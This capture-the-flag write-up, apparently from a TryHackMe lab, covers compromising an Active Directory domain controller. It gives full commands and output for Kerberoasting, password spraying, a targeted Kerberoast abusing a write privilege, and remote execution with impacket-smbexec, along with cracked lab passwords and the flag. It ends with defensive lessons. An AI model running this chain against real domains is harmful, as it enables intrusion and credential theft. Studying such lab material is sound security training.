// 00tl;dr
A full Active Directory environment that falls in six acts: an anonymous guest LDAP bind leaks a Kerberoastable account; the cracked password gets reused by a second user; BloodHound shows that user can write to a third user's SPN attribute; a targeted Kerberoast abuses that write privilege; the cracked hash buys RDP access; and a hardcoded credential in a sync script sitting on disk turns out to be local admin on the DC. Guest bind to Domain Admin, no exploit code required — just enumeration, reused secrets, and an ACL nobody was watching.
// 00environment
| target | 10.49.168.3 |
|---|---|
| domain | thm.local |
| domain controller | AD / ad.thm.local |
| os | Windows Server 2019 (Build 17763) |
| internal ca | thm-LABYRINTH-CA |
| attack box | Kali Linux |
// 01reconnaissance
Full TCP service scan to start.
$ sudo nmap -sV -sC 10.49.168.3 -vvv
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Active Directory LDAP (Domain: thm.local)
443/tcp open ssl/https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Global Catalog (Domain: thm.local)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
A textbook Domain Controller fingerprint — Kerberos, LDAP, Global Catalog ports, SMB, RDP, all lit up. The TLS cert on 443 leaks the internal CA name, thm-LABYRINTH-CA, and the RDP cert confirms the hostname: ad.thm.local / NetBIOS AD. Both got dropped into /etc/hosts before anything else.
// 02guest enumeration
First check on any AD box: does the Guest account or a null session give anything up for free?
$ netexec smb 10.49.168.3 -u "guest" -p "" --shares
SMB 10.49.168.3 445 AD [+] thm.local\guest:
SMB 10.49.168.3 445 AD Share Permissions Remark
SMB 10.49.168.3 445 AD ADMIN$ Remote Admin
SMB 10.49.168.3 445 AD C$ Default share
SMB 10.49.168.3 445 AD IPC$ READ Remote IPC
SMB 10.49.168.3 445 AD NETLOGON Logon server share
SMB 10.49.168.3 445 AD SYSVOL Logon server share
Guest authenticates, but the shares are unremarkable and IPC$ came back empty over smbclient. The real win was a blank-password LDAP bind:
$ nxc ldap ad.thm.local -u 'guest' -p ''
LDAP 10.49.168.3 389 AD [+] thm.local\guest:
// 03kerberoasting, no creds needed
An authenticated bind — even as Guest — is enough to query for accounts with a servicePrincipalName and request their TGS tickets in one shot.
$ nxc ldap ad.thm.local -u 'guest' -p '' --kerberoasting kerberoastables.txt
[*] sAMAccountName: CODY_ROY, memberOf: CN=Remote Desktop Users,..., pwdLastSet: 2024-05-10
$krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*$d7cf2be0...8a9da65c77e6 [truncated]
Straight into John against rockyou.txt:
$ john kerberoastables.txt --wordlist=/usr/share/wordlists/rockyou.txt
MKO)mko0 (?)
1g 0:00:00:01 DONE
Cracked in under two seconds. First real credential of the engagement.
// 04enumerating the domain
With a valid, if low-privileged, account, LDAP opens right up.
$ nxc ldap ad.thm.local -u 'cody_roy' -p 'MKO)mko0' --users
Dumped 489 domain users, mostly tagged Tier 1 User, plus the usual built-ins. Scraped the names into a list for the next step:
$ nxc ldap ad.thm.local -u 'cody_roy' -p 'MKO)mko0' --users | grep "LDAP" | awk '{print $5}' > users.txt
// 05password spraying — reuse pays off
489 users and one known-good password is an obvious next move: spray it and see who reused it.
$ sudo nxc smb ad.thm.local -u users.txt -p 'MKO)mko0' --continue-on-success
...mostly STATUS_LOGON_FAILURE...
SMB 10.49.168.3 445 AD [+] thm.local\CODY_ROY:MKO)mko0
SMB 10.49.168.3 445 AD [+] thm.local\ZACHARY_HUNT:MKO)mko0
ZACHARY_HUNT was reusing CODY_ROY's exact password. Two accounts down, neither obviously privileged on its own — time to find out what they're actually worth.
// 06mapping the attack path
Rather than guess, collected the full AD graph as cody_roy:
$ sudo bloodhound-python -u 'cody_roy@thm.local' -p 'MKO)mko0' --zip \
-dc ad.thm.local -c All -d thm.local -ns 10.49.168.3 --dns-timeout 10 --dns-tcp
INFO: Found 490 users
INFO: Found 53 groups
INFO: Found 216 ous
INFO: Compressing output into 20260620152021_bloodhound.zip
Loaded the zip into BloodHound CE and pivoted from ZACHARY_HUNT. The graph showed an outbound edge granting write access to the servicePrincipalName attribute on JERRI_LANCASTER — effectively GenericWrite over that user object. Textbook setup for a targeted Kerberoast: write a fake SPN onto a victim account that has none, request a TGS, clean up after yourself — no need for the victim's current password.
// 07targeted kerberoasting
targetedKerberoast.py automates exactly this: add SPN → request TGS → remove SPN.
$ python targetedKerberoast.py -v -d 'thm.local' -u 'ZACHARY_HUNT' -p 'MKO)mko0' \
--dc-host ad.thm.local --request-user 'JERRI_LANCASTER'
[*] Attacking user (JERRI_LANCASTER)
[VERBOSE] SPN added successfully for (JERRI_LANCASTER)
[+] Printing hash for (JERRI_LANCASTER)
$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$94fb6c58...42693c9d [truncated]
[VERBOSE] SPN removed successfully for (JERRI_LANCASTER)
A clean, surgical Kerberoast against an account that was never roastable to begin with — ZACHARY_HUNT's write privilege made it possible.
// 08cracking the targeted hash
$ sudo john jerri_hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
lovinlife! (?)
1g 0:00:00:01 DONE
And RDP is wide open on port 3389.
// 09rdp access
$ sudo xfreerdp3 /v:ad.thm.local /u:'jerri_lancaster' /p:'lovinlife!' \
/dynamic-resolution /clipboard /cert:ignore
In as jerri_lancaster. A quick poke around the filesystem turned up something interesting almost immediately:
C:\>cd Scripts
C:\Scripts>dir
05/13/2024 06:50 PM 426 syncer.ps1
C:\Scripts>type syncer.ps1
# Import Active Directory module
Import-Module ActiveDirectory
# Define credentials
$Username = "SANFORD_DAUGHERTY"
$Password = ConvertTo-SecureString "RESET_ASAP123" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)
# Sync Active Directory
Sync-ADObject -Object "DC=thm,DC=local" -Source "ad.thm.local" -Destination "ad2.thm.local" -Credential $Credential
A hardcoded service-account password sitting in plaintext in a world-readable script. Classic.
// 10privilege escalation
Checked what SANFORD_DAUGHERTY was actually worth:
$ sudo nxc smb ad.thm.local -u "SANFORD_DAUGHERTY" -p 'RESET_ASAP123' --shares
SMB 10.49.168.3 445 AD [+] thm.local\SANFORD_DAUGHERTY:RESET_ASAP123 (Pwn3d!)
SMB 10.49.168.3 445 AD Share Permissions Remark
SMB 10.49.168.3 445 AD ADMIN$ READ,WRITE Remote Admin
SMB 10.49.168.3 445 AD C$ READ,WRITE Default share
NetExec's (Pwn3d!) tag means this account has local admin rights on the DC. Straight to a semi-interactive shell:
$ impacket-smbexec 'THM.LOCAL/SANFORD_DAUGHERTY:RESET_ASAP123@ad.thm.local'
C:\Windows\system32>dir ..\..\users\Administrator\Desktop
05/10/2024 02:46 PM <DIR> .
05/10/2024 02:46 PM <DIR> ..
05/10/2024 01:52 PM 59 flag.txt.txt
C:\Windows\system32>type ..\..\users\Administrator\Desktop\flag.txt.txt
THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}
Domain compromised, end to end, starting from an empty-password Guest LDAP bind.
full attack chain
Guest LDAP bind (no creds)
│
▼
Kerberoast CODY_ROY → crack → MKO)mko0
│
▼
Enumerate all 489 users via cody_roy
│
▼
Password spray MKO)mko0 → reused by ZACHARY_HUNT
│
▼
BloodHound: ZACHARY_HUNT has GenericWrite → JERRI_LANCASTER
│
▼
Targeted Kerberoast JERRI_LANCASTER → crack → lovinlife!
│
▼
RDP as jerri_lancaster → finds syncer.ps1 with plaintext creds
│
▼
SANFORD_DAUGHERTY:RESET_ASAP123 → local admin on DC (Pwn3d!)
│
▼
smbexec → SYSTEM-level access → flag
tools used
-rwxr-xr-x nmap service / version recon
-rwxr-xr-x netexec (nxc) SMB & LDAP enum, kerberoast, spray, share checks
-rwxr-xr-x smbclient manual share inspection
-rwxr-xr-x john offline hash cracking (rockyou.txt)
-rwxr-xr-x bloodhound-python AD graph collection
-rwxr-xr-x bloodhound (CE) attack-path graphing / analysis
-rwxr-xr-x targetedKerberoast.py abusing write privs to roast non-SPN accounts
-rwxr-xr-x xfreerdp3 RDP access
-rwxr-xr-x impacket-smbexec remote command execution
key takeaways
- Anonymous / Guest LDAP binds should be disabled. A blank-password guest session enumerated the entire user base and pulled a Kerberoastable hash with zero authentication.
- Kerberoastable accounts need strong, randomized passwords — or no standing SPN at all (gMSAs where possible).
MKO)mko0looked complex and still fell to rockyou.txt in under two seconds. - Password reuse across accounts is still one of the most reliable ways in. One cracked password, sprayed once, handed over a second foothold.
- ACL misconfigurations like GenericWrite are easy to miss without graph-based tooling. ZACHARY_HUNT's write access over another user's servicePrincipalName never showed up in a plain
net userquery — BloodHound is what surfaced it. - Never hardcode credentials in scripts, even "internal" maintenance scripts sitting in an unassuming folder.
syncer.ps1turned a mid-tier RDP foothold into Domain Admin in onetypecommand.